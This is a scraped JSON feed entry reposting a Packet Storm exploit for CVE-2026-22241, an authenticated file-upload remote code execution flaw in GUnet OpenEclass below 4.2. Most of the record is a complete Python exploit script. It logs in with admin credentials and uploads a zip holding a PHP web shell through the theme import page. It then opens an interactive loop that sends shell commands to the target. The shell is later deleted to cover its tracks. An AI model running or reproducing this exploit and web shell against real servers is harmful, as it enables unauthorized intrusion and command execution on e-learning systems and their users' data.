{“lastseen”:”2026-05-05T22:00:49″,”description”:”GUnet OpenEclass E-learning versions prior to 4.2 suffer from a remote code execution vulnerability…”,”published”:”2026-05-05T00:00:00″,”modified”:”2026-05-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 GUnet OpenEclass E-learning Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:220380″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-22241″],”sourceData”:”# Exploit Title: GUnet OpenEclass E-learning platform \\u003c 4.2 – Remote Code Execution (RCE) \\n # Date: 2026-01-08\\n # Exploit Author: Ashif Iqubal\\n # Vendor Homepage: https:\/\/www.openeclass.org\/\\n # Software Link: https:\/\/download.openeclass.org\/files\/4.1\/\\n # Version: \\u003c 4.2\\n # Tested on: Debian Ubuntu (Apache\/2.4.58, PHP 8.3.6, MySQL 8.0.40-0ubuntu0.24.04.1)\\n # CVE: CVE-2026-22241\\n \\n import os\\n import sys\\n import zipfile\\n import requests\\n import argparse\\n from bs4 import BeautifulSoup\\n from argparse import RawTextHelpFormatter\\n \\n RED = ‘\\\\033[91m’\\n GREEN = ‘\\\\033[92m’\\n YELLOW = ‘\\\\033[93m’\\n RESET = ‘\\\\033[0m’\\n ORANGE = ‘\\\\033[38;5;208m’\\n \\n MALICIOUS_PAYLOAD = \\”\\”\\”\\\\\\n \\u003c?php\\n \\n if(isset($_REQUEST[‘cmd’])){\\n $cmd = ($_REQUEST[‘cmd’]);\\n system($cmd);\\n die;\\n }\\n \\n ?\\u003e\\n \\”\\”\\”\\n \\n def banner():\\n print(f”'{YELLOW}\\n \u250f\u2501\u2578\u257b \u257b\u250f\u2501\u2578 \u250f\u2501\u2513\u250f\u2501\u2513\u250f\u2501\u2513\u250f\u2501\u2513 \u250f\u2501\u2513\u250f\u2501\u2513\u250f\u2501\u2513\u257b \u257b\u257a\u2513 \\n \u2503 \u2503\u250f\u251b\u2523\u2578 \u257a\u2501\u2578\u250f\u2501\u251b\u2503\u2503\u2503\u250f\u2501\u251b\u2523\u2501\u2513\u257a\u2501\u2578\u250f\u2501\u251b\u250f\u2501\u251b\u250f\u2501\u251b\u2517\u2501\u252b \u2503 \\n \u2517\u2501\u2578\u2517\u251b \u2517\u2501\u2578 \u2517\u2501\u2578\u2517\u2501\u251b\u2517\u2501\u2578\u2517\u2501\u251b \u2517\u2501\u2578\u2517\u2501\u2578\u2517\u2501\u2578 \u2579\u257a\u253b\u2578\\n {RED} Author: @Ashif1337 {RESET}”’)\\n \\n def clean_server(openeclass,filename):\\n print(f\\”{ORANGE}[+] Removing Backd00r…{RESET}\\”)\\n # Remove the uploaded files\\n requests.get(f\\”{openeclass}\/courses\/theme_data\/{filename}?cmd=rm%20{filename}\\”)\\n print(f\\”{GREEN}[+] Server cleaned successfully!{RESET}\\”)\\n \\n \\n def execute_command(openeclass, filename):\\n while True:\\n # Prompt for user input with \\”eclass\\”\\n cmd = input(f\\”{RED}[{YELLOW}eClass{RED}]~\\u003e {RESET}\\”)\\n \\n # Check if the command is ‘quit’, then break the loop\\n if cmd.lower() == \\”quit\\”:\\n clean_server(openeclass,filename)\\n print(f\\”{ORANGE}[+] Exiting…{RESET}\\”)\\n sys.exit()\\n \\n # Construct the URL with the user-provided command\\n url = f\\”{openeclass}\/courses\/theme_data\/{filename}?cmd={cmd}\\”\\n \\n # Execute the GET request\\n try:\\n response = requests.get(url)\\n \\n # Check if the request was successful\\n if response.status_code == 200:\\n # Print the response text\\n print(f\\”{GREEN}{response.text}{RESET}\\”)\\n \\n except requests.exceptions.RequestException as e:\\n # Print any error that occurs during the request\\n print(f\\”{RED}An error occurred: {e}{RESET}\\”)\\n \\n \\n def upload_web_shell(openeclass, username, password):\\n login_url = f'{openeclass}\/?login_page=1’\\n login_page_url = f'{openeclass}\/main\/login_form.php?next=%2Fmain%2Fportfolio.php’\\n \\n # Login credentials\\n payload = {\\n ‘next’: ‘\/main\/portfolio.php’,\\n ‘uname’: f'{username}’,\\n ‘pass’: f'{password}’,\\n ‘submit’: ‘Enter’\\n }\\n \\n headers = {\\n ‘Referer’: login_page_url,\\n }\\n \\n # Use a session to ensure cookies are handled correctly\\n with requests.Session() as session:\\n # (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens\\n session.get(login_page_url)\\n \\n # Post the login credentials\\n response = session.post(login_url, headers=headers, data=payload)\\n \\n \\n # Create a zip file containing the malicious payload\\n zip_file_path = ‘poc.zip’\\n with zipfile.ZipFile(zip_file_path, ‘w’) as zipf:\\n zipf.writestr(‘evil.php’, MALICIOUS_PAYLOAD.encode())\\n \\n # Get token\\n token_url = session.get(f'{openeclass}\/modules\/admin\/theme_options.php’,allow_redirects=False)\\n \\n if token_url.status_code != 200 : \\n print(f\\”{RED}[X] Invalid Administrator Password!{RESET}\\”)\\n print(f\\”{RED}[X] Exiting…{RESET}\\”)\\n return False\\n \\n upload_token = BeautifulSoup(token_url.text, ‘html.parser’).select_one(‘input[name=\\”token\\”]’)[‘value’]\\n \\n # Upload the zip file\\n url = f'{openeclass}\/modules\/admin\/theme_options.php’\\n files = {\\n ‘themeFile’: (‘poc.zip’, open(zip_file_path, ‘rb’), ‘application\/zip’),\\n ‘import’: (None, ”),\\n ‘token’: (None, upload_token)\\n }\\n response = session.post(url, files=files)\\n \\n # Clean up the poc zip file\\n os.remove(zip_file_path)\\n \\n # Check if the upload was successful\\n if response.status_code == 200:\\n print(f\\”{GREEN}[+] Payload uploaded successfully!{RESET}\\”)\\n print(f\\”{GREEN}[+] Type ‘quit’ to exit web shell!{RESET}\\”)\\n return True\\n else:\\n print(f\\”{RED}[X] Failed to upload payload.{RESET}\\”)\\n print(f\\”{RED}[X] Exiting…{RESET}\\”)\\n return False\\n \\n \\n \\n \\n def main():\\n parser = argparse.ArgumentParser(description=\\”Open eClass Unrestricted File Upload RCE Exploit [ CVE-2026-22241 ]\\\\nExample: CVE-2026-22241.py -t http:\/\/127.0.0.1\/openeclass -u admin -p adminpassword\\”,formatter_class=RawTextHelpFormatter)\\n parser.add_argument(‘-t’, ‘–eclassUrl’, required=True, help=\\”Target URL of the Open eClass.\\”)\\n parser.add_argument(‘-u’, ‘–username’, required=True, help=\\”Admin Username for login.\\”)\\n parser.add_argument(‘-p’, ‘–password’, required=True, help=\\”Admin Password for login.\\”)\\n args = parser.parse_args()\\n \\n banner()\\n # Running the main login and execute command function\\n if upload_web_shell(args.eclassUrl, args.username, args.password):\\n execute_command(args.eclassUrl, ‘evil.php’)\\n \\n if __name__ == \\”__main__\\”:\\n main()”,”sourceHref”:”https:\/\/packetstorm.news\/download\/220380″,”cvss”:{“score”:8.6,”severity”:”HIGH”,”vector”:”CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:H\/UI:N\/VC:H\/SC:N\/VI:H\/SI:N\/VA:H\/SA:N\/E:P”,”version”:”4.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/220380\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-05T22:00:49″,”description”:”GUnet OpenEclass E-learning versions prior to 4.2 suffer from a remote code execution vulnerability…”,”published”:”2026-05-05T00:00:00″,”modified”:”2026-05-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 GUnet OpenEclass E-learning Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:220380″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-22241″],”sourceData”:”# Exploit Title: GUnet OpenEclass E-learning…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,81,12,15,13,53,7,11,5],"class_list":["post-51607","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-86","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n